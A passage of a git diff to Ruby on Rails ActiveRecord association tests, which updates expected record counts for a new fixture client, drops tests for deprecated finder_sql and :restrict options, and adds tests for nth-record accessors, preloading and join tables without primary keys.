+      bulbs.second()
+      bulbs.second({})
+    end
+
+    assert_no_queries do
+      bulbs.third()
+      bulbs.third({})
+    end
+
+    assert_no_queries do
+      bulbs.fourth()
+      bulbs.fourth({})
+    end
+
+    assert_no_queries do
+      bulbs.fifth()
+      bulbs.fifth({})
+    end
+
+    assert_no_queries do
+      bulbs.forty_two()
+      bulbs.forty_two({})
+    end
+
+    assert_no_queries do
       bulbs.last()
       bulbs.last({})
     end
@@ -280,11 +292,11 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
   def test_counting_with_counter_sql
-    assert_equal 2, Firm.all.merge!(:order => "id").first.clients.count
+    assert_equal 3, Firm.all.merge!(:order => "id").first.clients.count
   end
 
   def test_counting
-    assert_equal 2, Firm.all.merge!(:order => "id").first.plain_clients.count
+    assert_equal 3, Firm.all.merge!(:order => "id").first.plain_clients.count
   end
 
   def test_counting_with_single_hash
@@ -292,7 +304,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_counting_with_column_name_and_hash
-    assert_equal 2, Firm.all.merge!(:order => "id").first.plain_clients.count(:name)
+    assert_equal 3, Firm.all.merge!(:order => "id").first.plain_clients.count(:name)
   end
 
   def test_counting_with_association_limit
@@ -302,17 +314,17 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_finding
-    assert_equal 2, Firm.all.merge!(:order => "id").first.clients.length
+    assert_equal 3, Firm.all.merge!(:order => "id").first.clients.length
   end
 
   def test_finding_array_compatibility
-    assert_equal 2, Firm.order(:id).find{|f| f.id > 0}.clients.length
+    assert_equal 3, Firm.order(:id).find{|f| f.id > 0}.clients.length
   end
 
   def test_find_many_with_merged_options
     assert_equal 1, companies(:first_firm).limited_clients.size
     assert_equal 1, companies(:first_firm).limited_clients.to_a.size
-    assert_equal 2, companies(:first_firm).limited_clients.limit(nil).to_a.size
+    assert_equal 3, companies(:first_firm).limited_clients.limit(nil).to_a.size
   end
 
   def test_find_should_append_to_association_order
@@ -321,8 +333,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_dynamic_find_should_respect_association_order
-    assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.where("type = 'Client'").first
-    assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client')
+    assert_equal companies(:another_first_firm_client), companies(:first_firm).clients_sorted_desc.where("type = 'Client'").first
+    assert_equal companies(:another_first_firm_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client')
   end
 
   def test_cant_save_has_many_readonly_association
@@ -335,7 +347,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_finding_with_different_class_name_and_order
-    assert_equal "Microsoft", Firm.all.merge!(:order => "id").first.clients_sorted_desc.first.name
+    assert_equal "Apex", Firm.all.merge!(:order => "id").first.clients_sorted_desc.first.name
   end
 
   def test_finding_with_foreign_key
@@ -354,42 +366,9 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal "Summit", Firm.all.merge!(:order => "id").first.clients_using_primary_key.first.name
   end
 
-  def test_finding_using_sql
-    firm = Firm.order("id").first
-    first_client = firm.clients_using_sql.first
-    assert_not_nil first_client
-    assert_equal "Microsoft", first_client.name
-    assert_equal 1, firm.clients_using_sql.size
-    assert_equal 1, Firm.order("id").first.clients_using_sql.size
-  end
-
-  def test_finding_using_sql_take_into_account_only_uniq_ids
-    firm = Firm.order("id").first
-    client = firm.clients_using_sql.first
-    assert_equal client, firm.clients_using_sql.find(client.id, client.id)
-    assert_equal client, firm.clients_using_sql.find(client.id, client.id.to_s)
-  end
-
-  def test_counting_using_sql
-    assert_equal 1, Firm.order("id").first.clients_using_counter_sql.size
-    assert Firm.order("id").first.clients_using_counter_sql.any?
-    assert_equal 0, Firm.order("id").first.clients_using_zero_counter_sql.size
-    assert !Firm.order("id").first.clients_using_zero_counter_sql.any?
-  end
-
-  def test_counting_non_existant_items_using_sql
-    assert_equal 0, Firm.order("id").first.no_clients_using_counter_sql.size
-  end
-
-  def test_counting_using_finder_sql
-    assert_equal 2, Firm.find(4).clients_using_sql.count
-  end
-
   def test_belongs_to_sanity
     c = Client.new
-    assert_nil c.firm
-
-    flunk "belongs_to failed if check" if c.firm
+    assert_nil c.firm, "belongs_to failed sanity check on new object"
   end
 
   def test_find_ids
@@ -412,22 +391,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(2, 99) }
   end
 
-  def test_find_string_ids_when_using_finder_sql
-    firm = Firm.order("id").first
-
-    client = firm.clients_using_finder_sql.find("2")
-    assert_kind_of Client, client
-
-    client_ary = firm.clients_using_finder_sql.find(["2"])
-    assert_kind_of Array, client_ary
-    assert_equal client, client_ary.first
-
-    client_ary = firm.clients_using_finder_sql.find("2", "3")
-    assert_kind_of Array, client_ary
-    assert_equal 2, client_ary.size
-    assert_equal true, client_ary.include?(client)
-  end
-
   def test_find_ids_and_inverse_of
     force_signal37_to_load_all_clients_of_firm
 
@@ -442,7 +405,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_find_all
     firm = Firm.all.merge!(:order => "id").first
-    assert_equal 2, firm.clients.where("#{QUOTED_TYPE} = 'Client'").to_a.length
+    assert_equal 3, firm.clients.where("#{QUOTED_TYPE} = 'Client'").to_a.length
     assert_equal 1, firm.clients.where("name = 'Summit'").to_a.length
   end
 
@@ -451,7 +414,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
     assert ! firm.clients.loaded?
 
-    assert_queries(3) do
+    assert_queries(4) do
       firm.clients.find_each(:batch_size => 1) {|c| assert_equal firm.id, c.firm_id }
     end
 
@@ -521,15 +484,15 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_find_grouped
     all_clients_of_firm1 = Client.all.merge!(:where => "firm_id = 1").to_a
     grouped_clients_of_firm1 = Client.all.merge!(:where => "firm_id = 1", :group => "firm_id", :select => 'firm_id, count(id) as clients_count').to_a
-    assert_equal 2, all_clients_of_firm1.size
+    assert_equal 3, all_clients_of_firm1.size
     assert_equal 1, grouped_clients_of_firm1.size
   end
 
   def test_find_scoped_grouped
     assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.size
     assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.length
-    assert_equal 2, companies(:first_firm).clients_grouped_by_name.size
-    assert_equal 2, companies(:first_firm).clients_grouped_by_name.length
+    assert_equal 3, companies(:first_firm).clients_grouped_by_name.size
+    assert_equal 3, companies(:first_firm).clients_grouped_by_name.length
   end
 
   def test_find_scoped_grouped_having
@@ -542,24 +505,32 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_select_query_method
-    assert_equal ['id'], posts(:welcome).comments.select(:id).first.attributes.keys
+    assert_equal ['id', 'body'], posts(:welcome).comments.select(:id, :body).first.attributes.keys
+  end
+
+  def test_select_with_block
+    assert_equal [1], posts(:welcome).comments.select { |c| c.id == 1 }.map(&:id)
+  end
+
+  def test_select_without_foreign_key
+    assert_equal companies(:first_firm).accounts.first.credit_limit, companies(:first_firm).accounts.select(:credit_limit).first.credit_limit
   end
 
   def test_adding
     force_signal37_to_load_all_clients_of_firm
     natural = Client.new("name" => "Natural Company")
     companies(:first_firm).clients_of_firm << natural
-    assert_equal 2, companies(:first_firm).clients_of_firm.size # checking via the collection
-    assert_equal 2, companies(:first_firm).clients_of_firm(true).size # checking using the db
+    assert_equal 3, companies(:first_firm).clients_of_firm.size # checking via the collection
+    assert_equal 3, companies(:first_firm).clients_of_firm(true).size # checking using the db
     assert_equal natural, companies(:first_firm).clients_of_firm.last
   end
 
   def test_adding_using_create
     first_firm = companies(:first_firm)
-    assert_equal 2, first_firm.plain_clients.size
-    first_firm.plain_clients.create(:name => "Natural Company")
-    assert_equal 3, first_firm.plain_clients.length
     assert_equal 3, first_firm.plain_clients.size
+    first_firm.plain_clients.create(:name => "Natural Company")
+    assert_equal 4, first_firm.plain_clients.length
+    assert_equal 4, first_firm.plain_clients.size
   end
 
   def test_create_with_bang_on_has_many_when_parent_is_new_raises
@@ -598,8 +569,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_adding_a_collection
     force_signal37_to_load_all_clients_of_firm
     companies(:first_firm).clients_of_firm.concat([Client.new("name" => "Natural Company"), Client.new("name" => "Apple")])
-    assert_equal 3, companies(:first_firm).clients_of_firm.size
-    assert_equal 3, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 4, companies(:first_firm).clients_of_firm.size
+    assert_equal 4, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_transactions_when_adding_to_persisted
@@ -652,7 +623,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     company = companies(:first_firm)  # company already has one client
     company.clients_of_firm.build("name" => "Another Client")
     company.clients_of_firm.build("name" => "Yet Another Client")
-    assert_equal 3, company.clients_of_firm.size
+    assert_equal 4, company.clients_of_firm.size
   end
 
   def test_collection_not_empty_after_building
@@ -728,14 +699,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     Firm.column_names
     Client.column_names
 
-    assert_equal 1, first_firm.clients_of_firm.size
+    assert_equal 2, first_firm.clients_of_firm.size
     first_firm.clients_of_firm.reset
 
     assert_queries(1) do
       first_firm.clients_of_firm.create(:name => "Superstars")
     end
 
-    assert_equal 2, first_firm.clients_of_firm.size
+    assert_equal 3, first_firm.clients_of_firm.size
   end
 
   def test_create
@@ -748,7 +719,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_create_many
     companies(:first_firm).clients_of_firm.create([{"name" => "Another Client"}, {"name" => "Another Client II"}])
-    assert_equal 3, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 4, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_create_followed_by_save_does_not_load_target
@@ -760,8 +731,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_deleting
     force_signal37_to_load_all_clients_of_firm
     companies(:first_firm).clients_of_firm.delete(companies(:first_firm).clients_of_firm.first)
-    assert_equal 0, companies(:first_firm).clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 1, companies(:first_firm).clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_deleting_before_save
@@ -858,27 +829,27 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_deleting_a_collection
     force_signal37_to_load_all_clients_of_firm
     companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    assert_equal 2, companies(:first_firm).clients_of_firm.size
-    companies(:first_firm).clients_of_firm.delete([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
+    assert_equal 3, companies(:first_firm).clients_of_firm.size
+    companies(:first_firm).clients_of_firm.delete([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1], companies(:first_firm).clients_of_firm[2]])
     assert_equal 0, companies(:first_firm).clients_of_firm.size
     assert_equal 0, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_delete_all
     force_signal37_to_load_all_clients_of_firm
-    companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    clients = companies(:first_firm).clients_of_firm.to_a
-    assert_equal 2, clients.count
-    deleted = companies(:first_firm).clients_of_firm.delete_all
-    assert_equal clients.sort_by(&:id), deleted.sort_by(&:id)
-    assert_equal 0, companies(:first_firm).clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+    companies(:first_firm).dependent_clients_of_firm.create("name" => "Another Client")
+    clients = companies(:first_firm).dependent_clients_of_firm.to_a
+    assert_equal 3, clients.count
+
+    assert_difference "Client.count", -(clients.count) do
+      companies(:first_firm).dependent_clients_of_firm.delete_all
+    end
   end
 
   def test_delete_all_with_not_yet_loaded_association_collection
     force_signal37_to_load_all_clients_of_firm
     companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    assert_equal 2, companies(:first_firm).clients_of_firm.size
+    assert_equal 3, companies(:first_firm).clients_of_firm.size
     companies(:first_firm).clients_of_firm.reset
     companies(:first_firm).clients_of_firm.delete_all
     assert_equal 0, companies(:first_firm).clients_of_firm.size
@@ -911,7 +882,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_clearing_an_association_collection
     firm = companies(:first_firm)
     client_id = firm.clients_of_firm.first.id
-    assert_equal 1, firm.clients_of_firm.size
+    assert_equal 2, firm.clients_of_firm.size
 
     firm.clients_of_firm.clear
 
@@ -945,23 +916,38 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_clearing_a_dependent_association_collection
     firm = companies(:first_firm)
     client_id = firm.dependent_clients_of_firm.first.id
-    assert_equal 1, firm.dependent_clients_of_firm.size
+    assert_equal 2, firm.dependent_clients_of_firm.size
+    assert_equal 1, Client.find_by_id(client_id).client_of
 
-    # :dependent means destroy is called on each client
+    # :delete_all is called on each client since the dependent options is :destroy
     firm.dependent_clients_of_firm.clear
 
     assert_equal 0, firm.dependent_clients_of_firm.size
     assert_equal 0, firm.dependent_clients_of_firm(true).size
-    assert_equal [client_id], Client.destroyed_client_ids[firm.id]
+    assert_equal [], Client.destroyed_client_ids[firm.id]
 
     # Should be destroyed since the association is dependent.
     assert_nil Client.find_by_id(client_id)
   end
 
+  def test_delete_all_with_option_delete_all
+    firm = companies(:first_firm)
+    client_id = firm.dependent_clients_of_firm.first.id
+    firm.dependent_clients_of_firm.delete_all(:delete_all)
+    assert_nil Client.find_by_id(client_id)
+  end
+
+  def test_delete_all_accepts_limited_parameters
+    firm = companies(:first_firm)
+    assert_raise(ArgumentError) do
+      firm.dependent_clients_of_firm.delete_all(:destroy)
+    end
+  end
+
   def test_clearing_an_exclusively_dependent_association_collection
     firm = companies(:first_firm)
     client_id = firm.exclusively_dependent_clients_of_firm.first.id
-    assert_equal 1, firm.exclusively_dependent_clients_of_firm.size
+    assert_equal 2, firm.exclusively_dependent_clients_of_firm.size
 
     assert_equal [], Client.destroyed_client_ids[firm.id]
 
@@ -1017,10 +1003,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_delete_all_association_with_primary_key_deletes_correct_records
     firm = Firm.first
     # break the vanilla firm_id foreign key
-    assert_equal 2, firm.clients.count
+    assert_equal 3, firm.clients.count
     firm.clients.first.update_columns(firm_id: nil)
-    assert_equal 1, firm.clients(true).count
-    assert_equal 1, firm.clients_using_primary_key_with_delete_all.count
+    assert_equal 2, firm.clients(true).count
+    assert_equal 2, firm.clients_using_primary_key_with_delete_all.count
     old_record = firm.clients_using_primary_key_with_delete_all.first
     firm = Firm.first
     firm.destroy
@@ -1052,8 +1038,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     force_signal37_to_load_all_clients_of_firm
     summit = Client.find_by_name('Summit')
     companies(:first_firm).clients_of_firm.delete(summit)
-    assert_equal 1, companies(:first_firm).clients_of_firm.size
-    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 2, companies(:first_firm).clients_of_firm.size
+    assert_equal 2, companies(:first_firm).clients_of_firm(true).size
     assert_equal 2, summit.client_of
   end
 
@@ -1090,8 +1076,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
       companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first)
     end
 
-    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_destroying_by_fixnum_id
@@ -1101,8 +1087,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
       companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id)
     end
 
-    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_destroying_by_string_id
@@ -1112,21 +1098,21 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
       companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id.to_s)
     end
 
-    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_destroying_a_collection
     force_signal37_to_load_all_clients_of_firm
     companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    assert_equal 2, companies(:first_firm).clients_of_firm.size
+    assert_equal 3, companies(:first_firm).clients_of_firm.size
 
     assert_difference "Client.count", -2 do
       companies(:first_firm).clients_of_firm.destroy([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
     end
 
-    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_destroy_all
@@ -1142,7 +1128,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_dependence
     firm = companies(:first_firm)
-    assert_equal 2, firm.clients.size
+    assert_equal 3, firm.clients.size
     firm.destroy
     assert Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.empty?
   end
@@ -1155,14 +1141,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_destroy_dependent_when_deleted_from_association
     # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
     firm = Firm.all.merge!(:order => "id").first
-    assert_equal 2, firm.clients.size
+    assert_equal 3, firm.clients.size
 
     client = firm.clients.first
     firm.clients.delete(client)
 
     assert_raise(ActiveRecord::RecordNotFound) { Client.find(client.id) }
     assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(client.id) }
-    assert_equal 1, firm.clients.size
+    assert_equal 2, firm.clients.size
   end
 
   def test_three_levels_of_dependence
@@ -1177,12 +1163,12 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_dependence_with_transaction_support_on_failure
     firm = companies(:first_firm)
     clients = firm.clients
-    assert_equal 2, clients.length
+    assert_equal 3, clients.length
     clients.last.instance_eval { def overwrite_to_raise() raise "Trigger rollback" end }
 
     firm.destroy rescue "do nothing"
 
-    assert_equal 2, Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.size
+    assert_equal 3, Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.size
   end
 
   def test_dependence_on_account
@@ -1205,21 +1191,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal num_accounts, Account.count
   end
 
-  def test_restrict
-    firm = RestrictedFirm.create!(:name => 'restrict')
-    firm.companies.create(:name => 'child')
-
-    assert !firm.companies.empty?
-    assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
-    assert RestrictedFirm.exists?(:name => 'restrict')
-    assert firm.companies.exists?(:name => 'child')
-  end
-
-  def test_restrict_is_deprecated
-    klass = Class.new(ActiveRecord::Base)
-    assert_deprecated { klass.has_many :posts, dependent: :restrict }
-  end
-
   def test_restrict_with_exception
     firm = RestrictedWithExceptionFirm.create!(:name => 'restrict')
     firm.companies.create(:name => 'child')
@@ -1318,7 +1289,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_get_ids
-    assert_equal [companies(:first_client).id, companies(:second_client).id], companies(:first_firm).client_ids
+    assert_equal [companies(:first_client).id, companies(:second_client).id, companies(:another_first_firm_client).id], companies(:first_firm).client_ids
   end
 
   def test_get_ids_for_loaded_associations
@@ -1333,7 +1304,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_get_ids_for_unloaded_associations_does_not_load_them
     company = companies(:first_firm)
     assert !company.clients.loaded?
-    assert_equal [companies(:first_client).id, companies(:second_client).id], company.client_ids
+    assert_equal [companies(:first_client).id, companies(:second_client).id, companies(:another_first_firm_client).id], company.client_ids
     assert !company.clients.loaded?
   end
 
@@ -1341,15 +1312,35 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal [readers(:michael_welcome).id], posts(:welcome).readers_with_person_ids
   end
 
-  def test_get_ids_for_unloaded_finder_sql_associations_loads_them
-    company = companies(:first_firm)
-    assert !company.clients_using_sql.loaded?
-    assert_equal [companies(:second_client).id], company.clients_using_sql_ids
-    assert company.clients_using_sql.loaded?
+  def test_get_ids_for_ordered_association
+    assert_equal [companies(:another_first_firm_client).id, companies(:second_client).id, companies(:first_client).id], companies(:first_firm).clients_ordered_by_name_ids
   end
 
-  def test_get_ids_for_ordered_association
-    assert_equal [companies(:second_client).id, companies(:first_client).id], companies(:first_firm).clients_ordered_by_name_ids
+  def test_get_ids_for_association_on_new_record_does_not_try_to_find_records
+    Company.columns  # Load schema information so we don't query below
+    Contract.columns # if running just this test.
+
+    company = Company.new
+    assert_queries(0) do
+      company.contract_ids
+    end
+
+    assert_equal [], company.contract_ids
+  end
+
+  def test_set_ids_for_association_on_new_record_applies_association_correctly
+    contract_a = Contract.create!
+    contract_b = Contract.create!
+    Contract.create! # another contract
+    company = Company.new(:name => "Some Company")
+
+    company.contract_ids = [contract_a.id, contract_b.id]
+    assert_equal [contract_a.id, contract_b.id], company.contract_ids
+    assert_equal [contract_a, contract_b], company.contracts
+
+    company.save!
+    assert_equal company, contract_a.reload.company
+    assert_equal company, contract_b.reload.company
   end
 
   def test_assign_ids_ignoring_blanks
@@ -1408,17 +1399,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert ! firm.clients.loaded?
   end
 
-  def test_include_loads_collection_if_target_uses_finder_sql
-    firm = companies(:first_firm)
-    client = firm.clients_using_sql.first
-
-    firm.reload
-    assert ! firm.clients_using_sql.loaded?
-    assert_equal true, firm.clients_using_sql.include?(client)
-    assert firm.clients_using_sql.loaded?
-  end
-
-
   def test_include_returns_false_for_non_matching_record_to_verify_scoping
     firm = companies(:first_firm)
     client = Client.create!(:name => 'Not Associated')
@@ -1427,9 +1407,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal false, firm.clients.include?(client)
   end
 
-  def test_calling_first_or_last_on_association_should_not_load_association
+  def test_calling_first_nth_or_last_on_association_should_not_load_association
     firm = companies(:first_firm)
     firm.clients.first
+    firm.clients.second
     firm.clients.last
     assert !firm.clients.loaded?
   end
@@ -1454,30 +1435,33 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
     assert_queries 1 do
       firm.clients.first
+      firm.clients.second
       firm.clients.last
     end
 
     assert firm.clients.loaded?
   end
 
-  def test_calling_first_or_last_on_existing_record_with_create_should_not_load_association
+  def test_calling_first_nth_or_last_on_existing_record_with_create_should_not_load_association
     firm = companies(:first_firm)
     firm.clients.create(:name => 'Foo')
     assert !firm.clients.loaded?
 
-    assert_queries 2 do
+    assert_queries 3 do
       firm.clients.first
+      firm.clients.second
       firm.clients.last
     end
 
     assert !firm.clients.loaded?
   end
 
-  def test_calling_first_or_last_on_new_record_should_not_run_queries
+  def test_calling_first_nth_or_last_on_new_record_should_not_run_queries
     firm = Firm.new
 
     assert_no_queries do
       firm.clients.first
+      firm.clients.second
       firm.clients.last
     end
   end
@@ -1515,15 +1499,17 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     end
   end
 
-  def test_calling_first_or_last_with_integer_on_association_should_load_association
+  def test_calling_first_or_last_with_integer_on_association_should_not_load_association
     firm = companies(:first_firm)
+    firm.clients.create(:name => 'Foo')
+    assert !firm.clients.loaded?
 
-    assert_queries 1 do
+    assert_queries 2 do
       firm.clients.first(2)
       firm.clients.last(2)
     end
 
-    assert firm.clients.loaded?
+    assert !firm.clients.loaded?
   end
 
   def test_calling_many_should_count_instead_of_loading_association
@@ -1562,7 +1548,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_calling_many_should_return_true_if_more_than_one
     firm = companies(:first_firm)
     assert firm.clients.many?
-    assert_equal 2, firm.clients.size
+    assert_equal 3, firm.clients.size
   end
 
   def test_joins_with_namespaced_model_should_use_correct_type
@@ -1779,22 +1765,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     end
   end
 
-  test ":finder_sql is deprecated" do
-    klass = Class.new(ActiveRecord::Base)
-    assert_deprecated { klass.has_many :foo, :finder_sql => 'lol' }
-  end
-
-  test ":counter_sql is deprecated" do
-    klass = Class.new(ActiveRecord::Base)
-    assert_deprecated { klass.has_many :foo, :counter_sql => 'lol' }
-  end
-
-  test "sum calculation with block for array compatibility is deprecated" do
-    assert_deprecated do
-      posts(:welcome).comments.sum { |c| c.id }
-    end
-  end
-
   test "has many associations on new records use null relations" do
     post = Post.new
 
@@ -1847,4 +1817,42 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 1, speedometer.minivans.to_a.size, "Only one association should be present:\n#{speedometer.minivans.to_a}"
     assert_equal 1, speedometer.reload.minivans.to_a.size
   end
+
+  test "can unscope the default scope of the associated model" do
+    car = Car.create!
+    bulb1 = Bulb.create! name: "defaulty", car: car
+    bulb2 = Bulb.create! name: "other",    car: car
+
+    assert_equal [bulb1], car.bulbs
+    assert_equal [bulb1, bulb2], car.all_bulbs.sort_by(&:id)
+  end
+
+  test "raises RecordNotDestroyed when replaced child can't be destroyed" do
+    car = Car.create!
+    original_child = FailedBulb.create!(car: car)
+
+    assert_raise(ActiveRecord::RecordNotDestroyed) do
+      car.failed_bulbs = [FailedBulb.create!]
+    end
+
+    assert_equal [original_child], car.reload.failed_bulbs
+  end
+
+  test 'updates counter cache when default scope is given' do
+    topic = DefaultRejectedTopic.create approved: true
+
+    assert_difference "topic.reload.replies_count", 1 do
+      topic.approved_replies.create!
+    end
+  end
+
+  test 'dangerous association name raises ArgumentError' do
+    [:errors, 'errors', :save, 'save'].each do |name|
+      assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+        Class.new(ActiveRecord::Base) do
+          has_many name
+        end
+      end
+    end
+  end
 end
diff --git a/activerecord/test/cases/associations/has_many_through_associations_test.rb b/activerecord/test/cases/associations/has_many_through_associations_test.rb
index 5a033d0..5c858a9 100644
--- a/activerecord/test/cases/associations/has_many_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_through_associations_test.rb
@@ -28,7 +28,8 @@ require 'models/club'
 class HasManyThroughAssociationsTest < ActiveRecord::TestCase
   fixtures :posts, :readers, :people, :comments, :authors, :categories, :taggings, :tags,
            :owners, :pets, :toys, :jobs, :references, :companies, :members, :author_addresses,
-           :subscribers, :books, :subscriptions, :developers, :categorizations, :essays
+           :subscribers, :books, :subscriptions, :developers, :categorizations, :essays,
+           :categories_posts, :clubs, :memberships
 
   # Dummies to force column loads so query counts are clean.
   def setup
@@ -36,6 +37,136 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     Reader.create :person_id => 0, :post_id => 0
   end
 
+  def test_preload_sti_rhs_class
+    developers = Developer.includes(:firms).all.to_a
+    assert_no_queries do
+      developers.each { |d| d.firms }
+    end
+  end
+
+  def test_preload_sti_middle_relation
+    club = Club.create!(name: 'Aaron cool banana club')
+    member1 = Member.create!(name: 'Aaron')
+    member2 = Member.create!(name: 'Cat')
+
+    SuperMembership.create! club: club, member: member1
+    CurrentMembership.create! club: club, member: member2
+
+    club1 = Club.includes(:members).find_by_id club.id
+    assert_equal [member1, member2].sort_by(&:id),
+                 club1.members.sort_by(&:id)
+  end
+
+  def make_model(name)
+    Class.new(ActiveRecord::Base) { define_singleton_method(:name) { name } }
+  end
+
+  def test_ordered_habtm
+    person_prime = Class.new(ActiveRecord::Base) do
+      def self.name; 'Person'; end
+
+      has_many :readers
+      has_many :posts, -> { order('posts.id DESC') }, :through => :readers
+    end
+    posts = person_prime.includes(:posts).first.posts
+
+    assert_operator posts.length, :>, 1
+    posts.each_cons(2) do |left,right|
+      assert_operator left.id, :>, right.id
+    end
+  end
+
+  def test_singleton_has_many_through
+    book         = make_model "Book"
+    subscription = make_model "Subscription"
+    subscriber   = make_model "Subscriber"
+
+    subscriber.primary_key = 'nick'
+    subscription.belongs_to :book,       class: book
+    subscription.belongs_to :subscriber, class: subscriber
+
+    book.has_many :subscriptions, class: subscription
+    book.has_many :subscribers, through: :subscriptions, class: subscriber
+
+    anonbook = book.first
+    namebook = Book.find anonbook.id
+
+    assert_operator anonbook.subscribers.count, :>, 0
+    anonbook.subscribers.each do |s|
+      assert_instance_of subscriber, s
+    end
+    assert_equal namebook.subscribers.map(&:id).sort,
+                 anonbook.subscribers.map(&:id).sort
+  end
+
+  def test_no_pk_join_table_append
+    lesson, _, student = make_no_pk_hm_t
+
+    sicp = lesson.new(:name => "SICP")
+    ben = student.new(:name => "Ben Bitdiddle")
+    sicp.students << ben
+    assert sicp.save!
+  end
+
+  def test_no_pk_join_table_delete
+    lesson, lesson_student, student = make_no_pk_hm_t
+
+    sicp = lesson.new(:name => "SICP")
+    ben = student.new(:name => "Ben Bitdiddle")
+    louis = student.new(:name => "Louis Reasoner")
+    sicp.students << ben
+    sicp.students << louis
+    assert sicp.save!
+
+    sicp.students.reload
+    assert_operator lesson_student.count, :>=, 2
+    assert_no_difference('student.count') do
+      assert_difference('lesson_student.count', -2) do
+        sicp.students.destroy(*student.all.to_a)
+      end
+    end
+  end
+
+  def test_no_pk_join_model_callbacks
+    lesson, lesson_student, student = make_no_pk_hm_t
+
+    after_destroy_called = false
+    lesson_student.after_destroy do
+      after_destroy_called = true
+    end
+
+    sicp = lesson.new(:name => "SICP")
